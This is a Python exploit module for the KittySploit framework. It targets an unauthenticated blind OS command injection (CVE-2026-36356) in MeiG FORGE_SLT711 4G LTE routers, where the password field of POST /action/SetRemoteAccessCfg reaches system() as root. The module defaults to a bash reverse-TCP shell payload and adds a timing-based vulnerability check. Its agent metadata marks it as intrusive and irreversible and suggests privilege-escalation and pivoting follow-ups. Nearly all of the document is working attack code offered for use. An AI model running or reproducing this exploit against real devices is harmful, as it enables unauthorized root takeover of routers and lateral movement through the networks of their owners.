MeiG FORGE_SLT711 GoAhead blind OS command injection (CVE-2026-36356)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.meig import Meig


class Module(Exploit, Http_client, Meig):
    __info__ = {
        "name": "MeiG FORGE_SLT711 GoAhead blind OS command injection (CVE-2026-36356)",
        "description": (
            "Unauthenticated blind OS command injection in MeiG Smart FORGE_SLT711 (Ortel 4G LTE CPE) "
            "and related MDM9607 firmware. The GoAhead endpoint POST /action/SetRemoteAccessCfg passes "
            "the JSON password field to sprintf(\"echo root:\\\"%s\\\"|chpasswd\") and system() as root."
        ),
        "author": ["Daniil Gordeev", "KittySploit Team"],
        "cve": "CVE-2026-36356",
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "http://www.meigsmart.com",
            "https://www.cve.org/CVERecord?id=CVE-2026-36356",
        ],
        "tags": [
            "meig",
            "forge_slt711",
            "goahead",
            "router",
            "cpe",
            "command-injection",
            "blind",
            "rce",
            "unauthenticated",
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(80, "Target HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    target_path = OptString(
        Meig.DEFAULT_ENDPOINT,
        "Vulnerable GoAhead action endpoint",
        required=False,
    )
    command = OptString("", "Command to execute as root (overrides payload)", required=False)
    check_sleep = OptInteger(
        2,
        "Sleep seconds used by the timing-based check probe",
        required=False,
        advanced=True,
    )

    def _resolve_command(self) -> str:
        custom = str(self.command or "").strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode("utf-8", errors="ignore")
        return str(raw or "").strip()

    def check(self):
        result = self.meig_probe_rce(
            sleep_seconds=int(self.check_sleep or 2),
            path=self.target_path,
        )
        if result.get("status") == "vulnerable":
            return {
                "vulnerable": True,
                "reason": result.get("reason"),
                "confidence": result.get("confidence", "high"),
            }
        if result.get("status") == "likely":
            return {
                "vulnerable": True,
                "reason": result.get("reason"),
                "confidence": result.get("confidence", "medium"),
            }
        return {
            "vulnerable": False,
            "reason": result.get("reason") or "Probe did not confirm injection",
            "confidence": result.get("confidence", "low"),
        }

    def run(self):
        cmd = self._resolve_command()
        if not cmd:
            print_error("No command provided and payload generation failed")
            return False

        endpoint = self.meig_normalize_path(self.target_path)
        print_status(f"Target endpoint: {endpoint}")
        print_info(f"Injecting blind command as root: {cmd}")
        print_warning("Output is not returned in the HTTP response; use a callback or file redirect")

        response = self.meig_inject(cmd, path=endpoint)
        if not response:
            print_error("No response from target")
            self.not_vulnerable()
            return False

        if self.meig_retcode_ok(response):
            print_success("retcode=0 — command should have executed as root")
            self.vulnerable()
            return True

        body = (response.text or "")[:500]
        print_error(f"Unexpected response (HTTP {response.status_code}): {body}")
        self.not_vulnerable()
        return False